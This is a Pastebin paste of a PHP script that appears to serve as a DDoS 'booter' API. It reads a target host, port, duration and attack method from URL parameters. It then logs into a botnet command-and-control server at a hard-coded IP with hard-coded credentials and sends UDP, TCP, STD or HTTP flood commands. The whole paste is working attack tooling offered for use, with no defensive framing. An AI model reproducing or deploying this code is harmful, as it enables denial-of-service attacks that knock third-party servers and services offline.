Guest User

API.php

a guest
Jan 8th, 2018
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. <?php
  2. //API Link: http://ServerIP/API.php?&host=$host&port=$port&time=$time&type=$method
  3. set_time_limit(0);
  4.  
  5. $server = "198.144.181.16";
  6. $conport = 8080;
  7. $username = "Echo";
  8. $password = "Echo";
  9.  
  10. $activekeys = array();
  11.  
  12. $method = $_GET['type'];
  13. $target = $_GET['host'];
  14. $port = $_GET['port'];
  15. $time = $_GET['time'];
  16.  
  17. if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";}
  18. if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";}
  19. if($method == "STD"){$command = "!* STD $target $port $time";}
  20. if($method == "HTTP"){$command = "!* HTTP $target $time";}
  21.  
  22. $sock = fsockopen($server, $conport, $errno, $errstr, 2);
  23.  
  24. if(!$sock){
  25. echo "Couldn't Connect To CNC Server...";
  26. } else{
  27. print(fread($sock, 512)."\n");
  28. fwrite($sock, $username . "\n");
  29. echo "<br>";
  30. print(fread($sock, 512)."\n");
  31. fwrite($sock, $password . "\n");
  32. echo "<br>";
  33. if(fread($sock, 512)){
  34. print(fread($sock, 512)."\n");
  35. }
  36.  
  37. fwrite($sock, $command . "\n");
  38. fclose($sock);
  39. echo "<br>";
  40. echo "> $command ";
  41. }
  42. ?>
Add Comment
Please, Sign In to add comment